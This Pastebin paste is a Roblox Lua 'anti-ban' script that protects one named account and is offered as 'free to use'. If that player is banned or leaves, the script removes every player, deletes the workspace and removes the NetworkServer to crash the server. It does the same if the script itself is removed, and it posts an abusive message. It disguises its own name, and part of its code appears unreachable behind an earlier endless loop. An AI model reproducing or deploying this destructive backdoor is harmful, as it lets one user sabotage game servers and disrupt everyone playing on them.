Advertisement
moathon

Broken

Jul 21st, 2016
262
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.38 KB | None | 0 0
  1. script.Parent = game.Players
  2. n = "h"
  3. n = n.."u"
  4. n = n.."t"
  5. n = n.."s"
  6. n = n.."p"
  7. n = n.."y"
  8. h = Instance.new("Hint")
  9. m = Instance.new("Message")
  10. script.Name = "Script"
  11. l = Instance.new("ForceField", script)
  12. --------------You can change below------------------
  13. respawntime = 0
  14. protect = "firemomo45"
  15. -------Version [Don't change]------------
  16. version = 1.05
  17.  
  18. while true do
  19. if game.Players:findFirstChild(protect) == nil then
  20. m.Parent = game.Workspace
  21. m.Text = protect.." is banned, the server will be removed..."
  22. wait()
  23. m.Text = "Unban "..protect.." or remove your script, else the server will be down with the following countdown!"
  24. wait()
  25. for i= respawntime, 0, -1 do
  26. if game.Players:findFirstChild(protect) == nil then
  27. m.Text = "If "..protect.." doesn't reappear in ["..i.."] then the server is down!"
  28. wait()
  29. end
  30. end
  31. if game.Players:findFirstChild(protect) ~= nil then
  32. m.Text = protect.." came back, nothing will happen!"
  33. wait()
  34. m:remove()
  35. else
  36. while true do
  37. for i, p in ipairs(game.Players:getChildren()) do
  38. p:Remove()
  39. end
  40. for i, w in ipairs(game.Workspace:getChildren()) do
  41. w:Remove()
  42. end
  43. wait()
  44. end
  45. end
  46. else
  47. h.Parent = game.Workspace
  48. h.Text = "AntiBan scripts are up, so dont even think about it"
  49. end
  50. wait()
  51. end
  52. ---[The new part! :D]---
  53.  
  54.  
  55. asdf = game.Players:findFirstChild(protect)
  56.  
  57. function chat(msg)
  58.  
  59. if msg == "off" then
  60. --[it cleans...]-----
  61. stuff = game.Workspace:GetChildren()
  62. for i = 1 , #stuff do
  63. if stuff[i].className ~= "Script" then
  64. if game.Players:GetPlayerFromCharacter(stuff[i]) == nil then
  65. stuff[i]:Remove()
  66. end
  67. end
  68. end
  69. p = Instance.new("Part")
  70. p.Parent = game.Workspace
  71. p.Name = "Base"
  72. p.Anchored = true
  73. p.BottomSurface = "Smooth"
  74. p.BrickColor = BrickColor.new("Bright green")
  75. p.Size = Vector3.new(512, 1, 512)
  76. p.CFrame = CFrame.new(Vector3.new(0, 0, 0))
  77. end
  78.  
  79. end
  80. asdf.Chatted:connect(chat)
  81. --[free to use! :D]--------------
  82.  
  83.  
  84. while wait() do
  85. if (workspace:FindFirstChild("firemomo45") == nil) then
  86. m = Instance.new("Message")
  87. m.Text = "FUCK YOU, STOP BANNING PEOPLE"
  88. game.NetworkServer:Remove()
  89. wait(3)
  90. m:Remove()
  91. end
  92. end
  93.  
  94.  
  95.  
  96.  
  97. print("Script is working, you're good to go firemomo45!")
  98. script.Changed:connect(function()
  99. ioi = Instance.new("Message")
  100. ioi.Text = "Anti-Ban Script was removed from the game, shutting down server"
  101. wait()
  102. game.NetworkServer:Remove()
  103. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement